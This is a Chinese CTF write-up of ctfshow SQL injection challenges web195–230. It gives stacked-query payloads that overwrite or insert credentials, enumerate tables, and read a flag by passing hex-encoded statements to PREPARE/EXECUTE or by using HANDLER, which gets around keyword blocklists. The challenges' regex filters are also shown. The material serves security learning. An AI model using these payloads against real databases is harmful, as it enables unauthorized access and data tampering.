目录

  1. 1. 前言
  2. 2. web195(重置密码)
  3. 3. web196、197(插入数据)
  4. 4. web198(alter)
  5. 5. web199(匹配值相等)
  6. 6. web200
  7. 7. web225(预处理/handler)
    1. 7.1. 预处理
    2. 7.2. Handler
  8. 8. web226(十六进制)
  9. 9. web227(查看存储过程和函数)
  10. 10. web228~230

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

堆叠注入实战论

2023/8/15 Web Sql ctfshow
  |     |   总文章阅读量:

前言

web195~200,这一部分暂时先不写详细的

web225~230

web195(重置密码)

查询语句:

$sql = "select pass from ctfshow_user where username = {$username};";

payload:

1;update`ctshow_user`set`pass`=1

这样子使查询的colunm_name值变得可控,然后输入0模糊匹配即可


web196、197(插入数据)

insert ctfshow_user(`username`,`pass`) value(0,0)

可以用insert直接在表中添加一串自己的用户名和密码实现登录


web198(alter)

用alert把pass和id的内容互换,然后通过爆破得到结果


web199(匹配值相等)

匹配语句如下

$row[0]==$password

表名已知的情况下可以直接

0;show tables;

password填表名


web200


web225(预处理/handler)

查询语句

$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

过滤

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
  die(json_encode($ret));
}

查询框随便输入发现没有回显,那就抓个包查表名看看

1';show%20tables;

image-20230815170016031

得到表名ctfshow_flagasa,然后读列名

1';show%20columns%20from%20ctfshow_flagasa;

image-20230815170254147

得到字段名flagas

接下来就是最主要的问题了,因为select被ban了,我们得另找方法

预处理

知识点

image-20230815172821737

image-20230815173805616

就像这样,我们可以构造select flagas from ctfshow_flagasa

注意这里把set过滤掉了,所以我们构造的时候要把执行的语句直接放在from后面

1';PREPARE ciallo from concat('s','elect flagas from ctfshow_flagasa');EXECUTE ciallo;

记得url编码一下

image-20230815174538868

Handler

也可以用handler函数

payload:

1';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

web226(十六进制)

过滤

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
  die(json_encode($ret));
}

把show过滤了,不能直接查表名和列名了,

还过滤了(,不能用concat拼接了

但是我们可以通过预处理+16进制编码结合的方法来绕过

show tables编码为0x73686f77207461626c6573作为预处理的字符串

1';PREPARE ciallo from 0x73686f77207461626c6573;EXECUTE ciallo;

image-20230815210755906

1';PREPARE ciallo from 0x73686f7720636f6c756d6e732066726f6d2063746673685f6f775f666c61676173;EXECUTE ciallo;

image-20230815210932026

1';PREPARE ciallo from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c61676173;EXECUTE ciallo;

image-20230815211324976


web227(查看存储过程和函数)

知识点参考MySQL——查看存储过程和函数

//师傅说过滤的越多越好 		
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
    die(json_encode($ret));
  }

过滤多了个db和,,不影响预处理+16进制编码做题,但是会发现数据库里找不到flag

在 MySQL 中,存储过程和函数的信息存储在 information_schema 数据库下的 Routines 表中

使用 SELECT 语句查询 Routines 表中的存储过程和函数的定义时,一定要使用 ROUTNE_NAME 字段指定存储过程或函数的名称。否则,将查询出所有的存储过程或函数的定义。如果存储过程和存储函数名称相同,则需要要同时指定 ROUTINE_TYPE 字段表明查询的是哪种类型的存储程序。

可以通过查询该表的记录来查询存储过程和函数的信息

SELECT * FROM information_schema.Routines WHERE ROUTINE_NAME='sp_name';

image-20230815215234904

所以我们十六进制编码一下select * from information_schema.routines执行

1';PREPARE ciallo from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;EXECUTE ciallo;

image-20230815215501601


web228~230

这几题差不多,就以web228为例

查询

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
$bansql = "select char from banlist;";

过滤

//师傅说内容太多,就写入数据库保存
if(count($banlist)>0){
  foreach ($banlist as $char) {
    if(preg_match("/".$char."/i", $username)){
      die(json_encode($ret));
    }
  }
}

理论上应该先fuzz看看到底过滤了什么的,但是预处理16进制可以直接打穿

1';PREPARE ciallo from 0x73686f77207461626c6573;EXECUTE ciallo;
1';PREPARE ciallo from 0x73686f7720636f6c756d6e732066726f6d2063746673685f6f775f666c616761736161;EXECUTE ciallo;
1';PREPARE ciallo from 0x73656c65637420666c6167617362612066726f6d2063746673685f6f775f666c616761736161;EXECUTE ciallo;